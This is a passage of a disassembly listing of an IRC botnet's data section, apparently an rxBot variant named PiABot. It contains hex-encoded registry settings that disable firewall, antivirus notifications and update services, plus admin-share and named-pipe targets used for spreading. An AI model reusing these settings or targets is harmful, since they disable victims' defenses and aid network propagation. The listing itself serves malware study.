'PiABot',0 ; DATA XREF: .text:0043ECC8o align 4 aIrc db 'IRC//',0 ; DATA XREF: .text:0043ECC4o align 4 aRxIrc_c db 'Rx IRC.c',0 ; DATA XREF: .text:0043ECC0o align 4 aIrc_0 db '[IRC]: ',0 ; DATA XREF: .text:off_43ECBCo aRxIrc db 'Rx IRC',0 ; DATA XREF: .text:0043ECB8o align 4 aSFoundStringSI db '%s Found string "%s" in "%s" File "%s"',0Ah ; DATA XREF: sub_417823+D1o db 0Ah,0 align 4 aSTerminatedAnd db '%s Terminated and deleted %s',0Ah,0 ; DATA XREF: sub_417989+BDo align 4 aSRunningAvscan db '%s Running AVScan on %s',0Ah,0 ; DATA XREF: sub_417A90+18Do align 10h aSProcsFinished db '%s Procs Finished: "%s", Total Running Time: %s.',0 ; DATA XREF: sub_417CD7+2F0o align 4 aSCreatedProcSP db '%s Created proc: "%s", PID: <%d>',0 ; DATA XREF: sub_417CD7+1DBo ; sub_417CD7+205o align 4 aSFailedToCre_0 db '%s Failed to create proc: "%s",error: <%d>',0 ; DATA XREF: sub_417CD7+167o ; sub_417CD7+191o align 4 aSCouldnTPars_0 db '%s Couldn',27h,'t parse path,error: <%d>',0 ; DATA XREF: sub_417CD7+A5o ; sub_417CD7+CCo align 4 aSPidIKilledAnd db '%s PID "%i" killed and deleted',0 ; DATA XREF: sub_418010+41Co align 4 aSFailedToKillA db '%s Failed to kill and erase proc',0 ; DATA XREF: sub_418010+3B3o align 4 aSFailedToKillP db '%s Failed to kill proc',0 ; DATA XREF: sub_418010:loc_4182EBo align 4 aSPidIKilled db '%s PID "%i" killed',0 ; DATA XREF: sub_418010+275o align 4 aSProSKilledTot db '%s Pro "%s" killed,total: <%s>',0 ; DATA XREF: sub_418010+214o align 4 aSUnableToListP db '%s Unable to list procs,error: <%d>',0 ; DATA XREF: sub_418010+19Co ; sub_418010+1BCo aSEndOfList db '%s End of list',0 ; DATA XREF: sub_418010+166o align 4 a6d10sS db ' %-6d- %-10s- "%s"',0 ; DATA XREF: sub_418010+119o align 10h aK db ' K',0 ; DATA XREF: sub_418010+FDo align 4 aPidAMemoryUsag db ' PID - Memory Usage - Process',0 ; DATA XREF: sub_418010+ABo aSProcsList db '%s Procs List:',0 ; DATA XREF: sub_418010+8Do align 4 aSS_3 db '%s / %s',0Ah,0 ; DATA XREF: sub_418436+171o align 10h aErrorD db 'Error: <%d>',0 ; DATA XREF: sub_418436+118o aUnknown db 'unknown',0 ; DATA XREF: sub_418614+E0o ; sub_41F6B4+3Bo aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_418614+5Co ; sub_418812+4Eo align 4 a??? db '???',0 ; DATA XREF: sub_418930+4Ao ; sub_418B58+17o aDDayS0_2d0_2d db '%d day(s) %0.2d:%0.2d',0 ; DATA XREF: sub_418A1B+73o align 4 a0_2d0_2d db '%0.2d:%0.2d',0 ; DATA XREF: sub_418A1B+60o aSCpuI64umhzRam db '%s (CPU): %I64uMHz, (RAM): %sKB total, %sKB free, (O/S): Windows ' ; DATA XREF: sub_418B58+2FBo db '%s [Version %d.%d - %d], (SysDir): %s. (PC Name): %s, (Current Us' db 'er): %s, (Date): %s, (Time): %s, (UpTime): %s, (FreeSpace): %I64u' db 'GB/%I64uGB.',0 align 10h aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_418B58+180o align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_418B58+164o aVista_0 db 'ViSTA',0 ; DATA XREF: sub_418B58+DDo align 10h aBandwidthDownl db '(Bandwidth): Downloaded: %s, Uploaded: %s.',0 ; DATA XREF: sub_418F30+1B3o align 4 aCountryS_ db '(Country): %s. ',0 ; DATA XREF: sub_418F30+183o align 10h aSConnectionSIn db '%s (Connection): %s, (IntIP): %s, (ExtIP): %s, (HostName): %s, (P' ; DATA XREF: sub_418F30+164o db 'rivate): %s. ',0 align 10h aNo db 'No',0 ; DATA XREF: sub_418F30+144o align 4 aYes db 'Yes',0 ; DATA XREF: sub_418F30+13Do aSkb db '%sKB',0 ; DATA XREF: sub_418F30+108o align 10h aSgb db '%sGB',0 ; DATA XREF: sub_418F30+EAo align 4 aSmb db '%sMB',0 ; DATA XREF: sub_418F30+C7o align 10h off_442260 dd offset loc_412F4C+2 ; DATA XREF: sub_418F30:loc_418FA9o off_442264 dd offset dword_4E414C ; DATA XREF: sub_418F30:loc_418FA2o dword_442268 dd 6C616944h, 412F7075h, 4C5344hdword_442274 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_442284 dd 69626F4Dh, 5020656Ch, 656E6F68h, 0dword_442294 dd 626F6D2Eh, 69haWirelessAccess db 'WireLess Access Point',0 ; DATA XREF: sub_41912B+7C2o align 4 a_wap db '.wap',0 ; DATA XREF: sub_41912B:loc_4198DCo align 4 aSouthAfrica db 'South Africa',0 ; DATA XREF: sub_41912B+7AAo align 4 off_4422CC dd offset word_617A2E ; DATA XREF: sub_41912B:loc_4198C4o dword_4422D0 dd 73752Eh aUkraine db 'Ukraine',0 ; DATA XREF: sub_41912B+77Ao off_4422DC dd offset word_61752E ; DATA XREF: sub_41912B:loc_419894o aTaiwan db 'Taiwan',0 ; DATA XREF: sub_41912B+762o align 4 a_tw db '.tw',0 ; DATA XREF: sub_41912B:loc_41987Co aTurkey db 'Turkey',0 ; DATA XREF: sub_41912B+747o align 4 a_tr db '.tr',0 ; DATA XREF: sub_41912B:loc_419861o aTokelauIsland db 'Tokelau Island',0 ; DATA XREF: sub_41912B+72Co align 4 a_tk db '.tk',0 ; DATA XREF: sub_41912B:loc_419846o aThailand db 'Thailand',0 ; DATA XREF: sub_41912B+711o align 4 a_th db '.th',0 ; DATA XREF: sub_41912B:loc_41982Bo aRussia db 'Russia',0 ; DATA XREF: sub_41912B:loc_419821o align 4 a_su db '.su',0 ; DATA XREF: sub_41912B+6E5o a_st db '.st',0 ; DATA XREF: sub_41912B:loc_4197FBo aSlovakia db 'Slovakia',0 ; DATA XREF: sub_41912B+6C6o align 4 a_sk db '.sk',0 ; DATA XREF: sub_41912B:loc_4197E0o aSlovenia db 'Slovenia',0 ; DATA XREF: sub_41912B+6ABo align 4 a_si db '.si',0 ; DATA XREF: sub_41912B:loc_4197C5o aSingapore db 'Singapore',0 ; DATA XREF: sub_41912B+690o align 4 a_sg db '.sg',0 ; DATA XREF: sub_41912B:loc_4197AAo aSweden db 'Sweden',0 ; DATA XREF: sub_41912B+675o align 4 a_se db '.se',0 ; DATA XREF: sub_41912B:loc_41978Fo aSaudiArabia db 'Saudi Arabia',0 ; DATA XREF: sub_41912B+65Ao align 4 off_442378 dd offset word_61732E ; DATA XREF: sub_41912B+649o dword_44237C dd 75722Eh aRomania db 'Romania',0 ; DATA XREF: sub_41912B+62Ao a_ro db '.ro',0 ; DATA XREF: sub_41912B:loc_419744o aPortugal db 'Portugal',0 ; DATA XREF: sub_41912B+60Fo align 4 a_pt db '.pt',0 ; DATA XREF: sub_41912B:loc_419729o aPoland db 'Poland',0 ; DATA XREF: sub_41912B:loc_41971Fo align 4 a_pl db '.pl',0 ; DATA XREF: sub_41912B:loc_41970Eo aNewZealand db 'New Zealand',0 ; DATA XREF: sub_41912B+5D9o a_nz db '.nz',0 ; DATA XREF: sub_41912B:loc_4196F3o aJapan db 'Japan',0 ; DATA XREF: sub_41912B:loc_4196E9o align 10h a_nu db '.nu',0 ; DATA XREF: sub_41912B:loc_4196D8o aNorway db 'Norway',0 ; DATA XREF: sub_41912B+5A3o align 4 a_no db '.no',0 ; DATA XREF: sub_41912B:loc_4196BDo aNetherlands db 'Netherlands',0 ; DATA XREF: sub_41912B+588o a_nl db '.nl',0 ; DATA XREF: sub_41912B:loc_4196A2o aMicrosoftLine db 'Microsoft Line',0 ; DATA XREF: sub_41912B+56Do align 10h a_ms db '.ms',0 ; DATA XREF: sub_41912B:loc_419687o aMalaysia db 'Malaysia',0 ; DATA XREF: sub_41912B+552o align 10h a_my db '.my',0 ; DATA XREF: sub_41912B:loc_41966Co aMalta db 'Malta',0 ; DATA XREF: sub_41912B+537o align 4 off_44240C dd offset word_616D2E ; DATA XREF: sub_41912B:loc_419651o aLatvia db 'Latvia',0 ; DATA XREF: sub_41912B+51Co align 4 a_lv db '.lv',0 ; DATA XREF: sub_41912B:loc_419636o aLithuania db 'Lithuania',0 ; DATA XREF: sub_41912B+501o align 4 a_lt db '.lt',0 ; DATA XREF: sub_41912B:loc_41961Bo aKazakhstan db 'Kazakhstan',0 ; DATA XREF: sub_41912B+4E6o align 4 a_kz db '.kz',0 ; DATA XREF: sub_41912B:loc_419600o aKorea db 'Korea',0 ; DATA XREF: sub_41912B+4CBo align 4 a_kr db '.kr',0 ; DATA XREF: sub_41912B:loc_4195E5o aKyrgyzstan db 'Kyrgyzstan',0 ; DATA XREF: sub_41912B+4B0o align 4 a_kg db '.kg',0 ; DATA XREF: sub_41912B+49Fo a_jp db '.jp',0 ; DATA XREF: sub_41912B:loc_4195B5o aItaly db 'Italy',0 ; DATA XREF: sub_41912B+480o align 4 a_it db '.it',0 ; DATA XREF: sub_41912B:loc_41959Ao aIsrael db 'Israel',0 ; DATA XREF: sub_41912B+465o align 10h a_il db '.il',0 ; DATA XREF: sub_41912B:loc_41957Fo aIceland db 'Iceland',0 ; DATA XREF: sub_41912B+44Ao a_is db '.is',0 ; DATA XREF: sub_41912B:loc_419564o aIndia db 'India',0 ; DATA XREF: sub_41912B+42Fo align 4 a_in db '.in',0 ; DATA XREF: sub_41912B:loc_419549o aIreland db 'Ireland',0 ; DATA XREF: sub_41912B+414o a_ie db '.ie',0 ; DATA XREF: sub_41912B:loc_41952Eo aIndonesia db 'Indonesia',0 ; DATA XREF: sub_41912B+3F9o align 4 a_id db '.id',0 ; DATA XREF: sub_41912B:loc_419513o aHungary db 'Hungary',0 ; DATA XREF: sub_41912B+3DEo a_hu db '.hu',0 ; DATA XREF: sub_41912B:loc_4194F8o aHongKong db 'Hong Kong',0 ; DATA XREF: sub_41912B+3C3o align 10h a_hk db '.hk',0 ; DATA XREF: sub_41912B:loc_4194DDo aGreece db 'Greece',0 ; DATA XREF: sub_41912B+3A8o align 4 a_gr db '.gr',0 ; DATA XREF: sub_41912B:loc_4194C2o aGeorgia db 'Georgia',0 ; DATA XREF: sub_41912B+38Do a_ge db '.ge',0 ; DATA XREF: sub_41912B:loc_4194A7o aFrance db 'France',0 ; DATA XREF: sub_41912B+372o align 4 a_fr db '.fr',0 ; DATA XREF: sub_41912B:loc_41948Co aFiji db 'FiJi',0 ; DATA XREF: sub_41912B+357o align 10h a_fj db '.fj',0 ; DATA XREF: sub_41912B:loc_419471o aFinland db 'Finland',0 ; DATA XREF: sub_41912B+33Co a_fi db '.fi',0 ; DATA XREF: sub_41912B:loc_419456o aSpain db 'Spain',0 ; DATA XREF: sub_41912B+321o align 4 a_es db '.es',0 ; DATA XREF: sub_41912B:loc_41943Bo aEstonia db 'Estonia',0 ; DATA XREF: sub_41912B+306o a_ee db '.ee',0 ; DATA XREF: sub_41912B:loc_419420o aDenmark db 'Denmark',0 ; DATA XREF: sub_41912B+2EBo a_dk db '.dk',0 ; DATA XREF: sub_41912B:loc_419405o aGermany db 'Germany',0 ; DATA XREF: sub_41912B+2D0o a_de db '.de',0 ; DATA XREF: sub_41912B:loc_4193EAo aCzechRepublic db 'Czech Republic',0 ; DATA XREF: sub_41912B+2B5o align 10h a_cz db '.cz',0 ; DATA XREF: sub_41912B+2A4o a_cx db '.cx',0 ; DATA XREF: sub_41912B:loc_4193BAo aUruguay db 'Uruguay',0 ; DATA XREF: sub_41912B:loc_4193B0o a_cr db '.cr',0 ; DATA XREF: sub_41912B:loc_41939Fo aCorpLine db 'Corp Line',0 ; DATA XREF: sub_41912B+26Ao align 10h a_co db '.co',0 ; DATA XREF: sub_41912B:loc_419384o aChina db 'China',0 ; DATA XREF: sub_41912B:loc_41937Ao align 4 a_cn db '.cn',0 ; DATA XREF: sub_41912B:loc_419369o aChile db 'Chile',0 ; DATA XREF: sub_41912B+234o align 4 a_cl db '.cl',0 ; DATA XREF: sub_41912B:loc_41934Eo aSwitzerland db 'Switzerland',0 ; DATA XREF: sub_41912B+219o a_ch db '.ch',0 ; DATA XREF: sub_41912B+208o off_44258C dd offset word_63632E ; DATA XREF: sub_41912B:loc_41931Eo off_442590 dd offset word_61632E ; DATA XREF: sub_41912B:loc_419303o aBelarus db 'Belarus',0 ; DATA XREF: sub_41912B+1CEo a_by db '.by',0 ; DATA XREF: sub_41912B:loc_4192E8o aBrazil db 'Brazil',0 ; DATA XREF: sub_41912B+1B3o align 4 a_br db '.br',0 ; DATA XREF: sub_41912B:loc_4192CDo aBulgaria db 'Bulgaria',0 ; DATA XREF: sub_41912B+198o align 4 a_bg db '.bg',0 ; DATA XREF: sub_41912B:loc_4192B2o aBelgium db 'Belgium',0 ; DATA XREF: sub_41912B+17Do a_be db '.be',0 ; DATA XREF: sub_41912B:loc_419297o aAustralia db 'Australia',0 ; DATA XREF: sub_41912B+162o align 4 a_au db '.au',0 ; DATA XREF: sub_41912B:loc_41927Co aAustria db 'Austria',0 ; DATA XREF: sub_41912B+147o a_at db '.at',0 ; DATA XREF: sub_41912B+136o a_ar db '.ar',0 ; DATA XREF: sub_41912B+121o off_4425E8 dd offset word_63612E ; DATA XREF: sub_41912B:loc_419237o dword_4425EC dd 74696E55h, 4B206465h, 64676E69h, 6D6Fhdword_4425FC dd 6B752Eh aEducationDept_ db 'Education Dept. Line',0 ; DATA XREF: sub_41912B+E7o align 4 a_edu db '.edu',0 ; DATA XREF: sub_41912B:loc_419201o align 10h aMilitaryLine db 'Military Line',0 ; DATA XREF: sub_41912B+CCo align 10h a_mil db '.mil',0 ; DATA XREF: sub_41912B:loc_4191E6o align 4 aCompanyLine db 'Company Line',0 ; DATA XREF: sub_41912B+B1o align 4 a_com db '.com',0 ; DATA XREF: sub_41912B:loc_4191CBo ; .text:off_44BB84o align 10h aOrganisationLi db 'Organisation Line',0 ; DATA XREF: sub_41912B+96o align 4 a_org db '.org',0 ; DATA XREF: sub_41912B:loc_4191B0o align 4 aInformationalL db 'Informational Line',0 ; DATA XREF: sub_41912B+7Bo align 10h a_info db '.info',0 ; DATA XREF: sub_41912B:loc_419195o align 4 aNetworkLine db 'Network Line',0 ; DATA XREF: sub_41912B+60o align 4 a_net db '.net',0 ; DATA XREF: sub_41912B:loc_41917Ao align 10h aGovernmentLine db 'Government Line',0 ; DATA XREF: sub_41912B+45o a_gov db '.gov',0 ; DATA XREF: sub_41912B+34o align 4 aSPingRequestFr db '%s Ping request from: [%s!%s@%s]!',0 ; DATA XREF: sub_419B2F+38Do align 4 dword_4426DC dd 4E495001h, 73252047h, 0dword_4426E8 dd 4E495001h, 47haSVersionReques db '%s Version request from: [%s!%s@%s]!',0 ; DATA XREF: sub_419B2F+328o align 4 dword_442718 dd 52455601h, 4E4F4953h, 1732520h, 0dword_442728 dd 52455601h, 4E4F4953h, 1dword_442734 dd 25217325h, 73254073h, 0dword_442740 dd 2Bh ; sub_419F6A+8Do aTopic_0 db 'topic',0 ; DATA XREF: sub_419F6A+10Co align 4 a422 db '422',0 ; DATA XREF: sub_41A1C8+A9o a376 db '376',0 ; DATA XREF: sub_41A1C8+9Co a005 db '005',0 ; DATA XREF: sub_41A1C8+91o a366 db '366',0 ; DATA XREF: sub_41A1C8+7Do a332 db '332',0 ; DATA XREF: sub_41A1C8+6Co a302 db '302',0 ; DATA XREF: sub_41A1C8+5Fo off_442764 dd offset dword_554B48 ; DATA XREF: sub_41A292+ABo aHkey_users db 'HKEY_USERS',0 ; DATA XREF: sub_41A292+9Ao align 4 aHkcc db 'HKCC',0 ; DATA XREF: sub_41A292+89o align 4 aHkey_current_c db 'HKEY_CURRENT_CONFIG',0 ; DATA XREF: sub_41A292+78o aHkcr db 'HKCR',0 ; DATA XREF: sub_41A292+67o align 4 aHkey_classes_r db 'HKEY_CLASSES_ROOT',0 ; DATA XREF: sub_41A292+56o align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_41A292+45o ; sub_41AA69+9Bo ... align 4 aHkey_current_u db 'HKEY_CURRENT_USER',0 ; DATA XREF: sub_41A292+30o align 4 aHklm db 'HKLM',0 ; DATA XREF: sub_41A292+1Bo ; sub_41AA69+94o ... align 10h aHkey_local_mac db 'HKEY_LOCAL_MACHINE',0 ; DATA XREF: sub_41A292+6o align 4 aDw db 'DW',0 ; DATA XREF: sub_41A370+60o align 4 aReg_dword db 'REG_DWORD',0 ; DATA XREF: sub_41A370+54o ; sub_41A3EF:loc_41A420o align 4 aMu db 'MU',0 ; DATA XREF: sub_41A370+48o align 4 aReg_multi_sz db 'REG_MULTI_SZ',0 ; DATA XREF: sub_41A370+3Co ; sub_41A3EF:loc_41A442o align 4 aEx db 'EX',0 ; DATA XREF: sub_41A370+30o align 4 aReg_expand_sz db 'REG_EXPAND_SZ',0 ; DATA XREF: sub_41A370+24o ; sub_41A3EF:loc_41A40Eo align 4 aSz db 'SZ',0 ; DATA XREF: sub_41A370+18o align 10h aReg_sz db 'REG_SZ',0 ; DATA XREF: sub_41A370+Co ; sub_41A3EF:loc_41A414o align 4 aReg_dword_big_ db 'REG_DWORD_BIG_ENDIAN',0 ; DATA XREF: sub_41A3EF:loc_41A44Eo align 10h aReg_link db 'REG_LINK',0 ; DATA XREF: sub_41A3EF:loc_41A448o align 4 aReg_qword db 'REG_QWORD',0 ; DATA XREF: sub_41A3EF:loc_41A43Co align 4 aUnknown_0 db 'UNKNOWN',0 ; DATA XREF: sub_41A3EF:loc_41A436o aReg_none db 'REG_NONE',0 ; DATA XREF: sub_41A3EF:loc_41A41Ao align 4 aReg_binary db 'REG_BINARY',0 ; DATA XREF: sub_41A3EF+19o align 4 a_2dSSS db '(%.2d) %s\%s (%s)',0 ; DATA XREF: sub_41A60E+16Ao align 4 aDefault db '(Default)',0 ; DATA XREF: sub_41A60E+149o align 4 a_2dSS db '(%.2d) %s\%s',0 ; DATA XREF: sub_41A60E+C0o align 4 off_4428A8 dd offset aTlntsvr ; DATA XREF: sub_41B0B0+2Dr ; "Tlntsvr" dd offset aRemoteregistry ; "RemoteRegistry" dd offset aMessenger ; "Messenger" dd offset aSharedaccess ; "SharedAccess" dd offset aWscsvc ; "wscsvc" off_4428BC dd offset aTelnet ; DATA XREF: sub_41B0B0+6Er ; sub_41B0B0+ABr ... ; "Telnet" dd offset aRemoteRegistry ; "Remote Registry" dd offset aMessenger ; "Messenger" dd offset aWindowsFirewal ; "Windows Firewall/ICS" dd offset aSecurityCenter ; "Security Center" dword_4428D0 dd 80000002h ; sub_41AA69:loc_41AAF3r ... aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_41AA69+3Ar ; sub_41AA69+14Er align 4 dd 36h dup(0) db 3 dup(0) dword_4429D3 dd 61647055h ; sub_41AA69:loc_41ABAFr aTesdisablenoti db 'tesDisableNotify',0 dd 3Bh dup(0) dword_442AD4 dd 4 dword_442AD8 dd 1 ; sub_41AA69+7Cr ... dword_442ADC dd 0 ; sub_41AA69:loc_41AAEDr ... dword_442AE0 dd 0 ; sub_41AA69+18Br ... dd 3Eh dup(0) db 3 dup(0) dword_442BDF dd 0 ; sub_41AA69+193r ... align 4 dd 3Fh dup(0) dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0) dd 41000000h, 5669746Eh, 73757269h, 61736944h, 4E656C62h dd 6669746Fh, 79h, 3Ah dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0) dd 46000000h, 77657269h, 446C6C61h, 62617369h, 6F4E656Ch dd 79666974h, 3Bh dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0) dd 41000000h, 5669746Eh, 73757269h, 7265764Fh, 65646972h dd 3Ch dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 54464F53h, 45524157h, 63694D5Ch, 6F736F72h dd 535C7466h, 72756365h, 20797469h, 746E6543h, 7265h, 36h dup(0) dd 46000000h, 77657269h, 4F6C6C61h, 72726576h, 656469h dd 3Ch dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 4673776Fh dd 77657269h, 5C6C6C61h, 616D6F44h, 72506E69h, 6C69666Fh dd 65h, 30h dup(0) dd 45000000h, 6C62616Eh, 72694665h, 6C617765h, 6Ch, 3Ch dup(0) dd 4, 0 dd 1, 80h dup(0) dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 4673776Fh dd 77657269h, 5C6C6C61h, 6E617453h, 64726164h, 666F7250h dd 656C69h, 30h dup(0) dd 45000000h, 6C62616Eh, 72694665h, 6C617765h, 6Ch, 3Ch dup(0) dd 4, 0 dd 1, 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 73775C73h dd 63767363h, 35h dup(0) dd 53000000h, 74726174h, 3Fh dup(0) dd 2 dup(4), 2, 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 6C545C73h dd 7653746Eh, 72h, 34h dup(0) dd 53000000h, 74726174h, 3Fh dup(0) dd 2 dup(4), 3, 78h dup(0) db 3 dup(0) byte_444D43 db 0 ; DATA XREF: .text:off_435C10o dd 7 dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 65525C73h dd 65746F6Dh, 69676552h, 79727473h, 33h dup(0) dd 53000000h, 74726174h, 3Fh dup(0) dd 2 dup(4), 2, 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 654D5C73h dd 6E657373h, 726567h, 34h dup(0) dd 53000000h, 74726174h, 3Fh dup(0) dd 3 dup(4), 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 6E6F435Ch, 6C6F7274h, 61734C5Ch dd 36h dup(0) dd 72000000h, 72747365h, 61746369h, 796E6F6Eh, 73756F6Dh dd 3Ch dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h dd 6E616D6Eh, 76726573h, 705C7265h, 6D617261h, 72657465h dd 73h, 30h dup(0) dd 41000000h, 536F7475h, 65726168h, 736B57h, 3Dh dup(0) dd 4, 0 dd 1, 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h dd 6E616D6Eh, 76726573h, 705C7265h, 6D617261h, 72657465h dd 73h, 30h dup(0) dd 41000000h, 536F7475h, 65726168h, 76726553h, 7265h, 3Ch dup(0) dd 4, 0 dd 1, 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h dd 6E616D6Eh, 6B726F77h, 74617473h, 5C6E6F69h, 61726170h dd 6574656Dh, 7372h, 2Fh dup(0) dd 41000000h, 536F7475h, 65726168h, 736B57h, 3Dh dup(0) dd 4, 0 dd 1, 80h dup(0) dd 80000002h, 54535953h, 435C4D45h, 65727275h, 6F43746Eh dd 6F72746Eh, 7465536Ch, 7265535Ch, 65636976h, 616C5C73h dd 6E616D6Eh, 6B726F77h, 74617473h, 5C6E6F69h, 61726170h dd 6574656Dh, 7372h, 2Fh dup(0) dd 41000000h, 536F7475h, 65726168h, 76726553h, 7265h, 3Ch dup(0) dd 4, 0 dd 1, 80h dup(0) dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 5C73776Fh dd 646E6957h, 5573776Fh, 74616470h, 65h, 32h dup(0) dd 44000000h, 746F4E6Fh, 6F6C6C41h, 53505877h, 3250h, 3Ch dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h dd 4F5C7466h, 454Ch, 39h dup(0) dd 45000000h, 6C62616Eh, 4F434465h, 4Dh, 3Dh dup(0) dd 1, 2 dup(0) dd 4Eh, 3Eh dup(0) dd 59000000h, 40h dup(0) off_4471F0 dd offset off_447590 ; DATA XREF: sub_41AD33+85r ; sub_41AD33:loc_41ADF0r ... dword_4471F4 dd 0 dd offset off_447580 align 10h dd offset off_447570 align 8 dd offset aC_2 ; "C$" dd offset aC_3 ; "C:\\" dd offset aD_1 ; "D$" dd offset aD_2 ; "D:\\" dd offset aE_2 ; "E$" dd offset aE_3 ; "E:\\" dd offset aF_1 ; "F$" dd offset aF_2 ; "F:\\" dd offset aG_1 ; "G$" dd offset aG_2 ; "G:\\" dd offset asc_447518 ; "H$" dd offset asc_447510 ; "H:\\" dd offset aI_3 ; "I$" dd offset aI_4 ; "I:\\" dd offset aJ_1 ; "J$" dd offset aJ_2 ; "J:\\" dd offset aJ_1 ; "J$" dd offset aJ_2 ; "J:\\" dd offset aK_2 ; "K$" dd offset aK_3 ; "K:\\" dd offset asc_4474D8 ; "L$" dd offset asc_4474D0 ; "L:\\" dd offset aM_5 ; "M$" dd offset aM_6 ; "M:\\" dd offset aN_2 ; "N$" dd offset aN_3 ; "N:\\" dd offset aO_2 ; "O$" dd offset aO_3 ; "O:\\" dd offset aP_5 ; "P$" dd offset aP_6 ; "P:\\" dd offset aQ_2 ; "Q$" dd offset aQ_3 ; "Q:\\" dd offset aR_1 ; "R$" dd offset aR_2 ; "R:\\" dd offset aS_10 ; "S$" dd offset aS_9 ; "S:\\" dd offset aT_1 ; "T$" dd offset aT_2 ; "T:\\" dd offset aU_3 ; "U$" dd offset aU_2 ; "U:\\" dd offset aV_2 ; "V$" dd offset aV_3 ; "V:\\" dd offset aW_1 ; "W$" dd offset aW_2 ; "W:\\" dd offset asc_447418 ; "X$" dd offset asc_447410 ; "X:\\" dd offset aY_1 ; "Y$" dd offset aY_2 ; "Y:\\" dd offset aZ_5 ; "Z$" dd offset aZ_6 ; "Z:\\" dd offset off_447570 dd offset off_4473DC dd offset off_447580 dd offset off_4473CC dd offset off_447590 dd offset off_4473C0 dd offset off_447590 dd offset off_4473B4 dd offset off_447590 dd offset off_4473A0 dd offset off_447590 dd offset aWkssvc ; "wkssvc\\" dd offset off_447590 dd offset aSrvsvc ; "srvsvc\\" dd offset off_44736C dd offset aNetlogon_0 ; "netlogon\\" dd offset off_447590 dd offset aTsclient ; "tsclient\\" dd offset off_447590 dd offset aTsweb ; "tsweb\\" dd offset off_447590 dd offset off_447328 off_447328 dd offset dword_50004C ; DATA XREF: .text:00447324o dd offset dword_520054 dd 5Ch aTsweb: ; DATA XREF: .text:0044731Co unicode 0, <tsweb\>,0 align 4 aTsclient: ; DATA XREF: .text:00447314o unicode 0, <tsclient\>,0 aNetlogon_0: ; DATA XREF: .text:0044730Co unicode 0, <netlogon\>,0 off_44736C dd offset word_45004E ; DATA XREF: .text:00447308o dd offset dword_4C0054 dd offset byte_47004F dd offset byte_4E004F dd 24h aSrvsvc: ; DATA XREF: .text:00447304o unicode 0, <srvsvc\>,0 aWkssvc: ; DATA XREF: .text:004472FCo unicode 0, <wkssvc\>,0 off_4473A0 dd offset word_520042 ; DATA XREF: .text:004472F4o dd offset byte_57004F dd offset byte_450053 dd offset word_5C0052 dd 0 off_4473B4 dd offset dword_490050 ; DATA XREF: .text:004472ECo dd offset byte_450050 dd 5Ch off_4473C0 dd offset byte_500049 ; DATA XREF: .text:004472E4o dd offset byte_5C0043 dd 0 off_4473CC dd offset aTasklist_exe+5 ; DATA XREF: .text:004472DCo dd offset byte_49004D dd offset word_5C004E dd 0 off_4473DC dd offset dword_520050 ; DATA XREF: .text:004472D4o dd offset byte_4E0049 dd offset dword_450054 dd offset word_5C0052 align 10h aZ_6: ; DATA XREF: .text:004472CCo unicode 0, <Z:\>,0 aZ_5: ; DATA XREF: .text:004472C8o unicode 0, <Z$>,0 align 10h aY_2: ; DATA XREF: .text:004472C4o unicode 0, <Y:\>,0 aY_1: ; DATA XREF: .text:004472C0o unicode 0, <Y$>,0 align 10h asc_447410: ; DATA XREF: .text:004472BCo unicode 0, <X:\>,0 asc_447418: ; DATA XREF: .text:004472B8o unicode 0, <X$>,0 align 10h aW_2: ; DATA XREF: .text:004472B4o unicode 0, <W:\>,0 aW_1: ; DATA XREF: .text:004472B0o unicode 0, <W$>,0 align 10h aV_3: ; DATA XREF: .text:004472ACo unicode 0, <V:\>,0 aV_2: ; DATA XREF: .text:004472A8o unicode 0, <V$>,0 align 10h aU_2: ; DATA XREF: .text:004472A4o unicode 0, <U:\>,0 aU_3: ; DATA XREF: .text:004472A0o unicode 0, <U$>,0 align 10h aT_2: ; DATA XREF: .text:0044729Co unicode 0, <T:\>,0 aT_1: ; DATA XREF: .text:00447298o unicode 0, <T$>,0 align 10h aS_9: ; DATA XREF: .text:00447294o unicode 0, <S:\>,0 aS_10: ; DATA XREF: 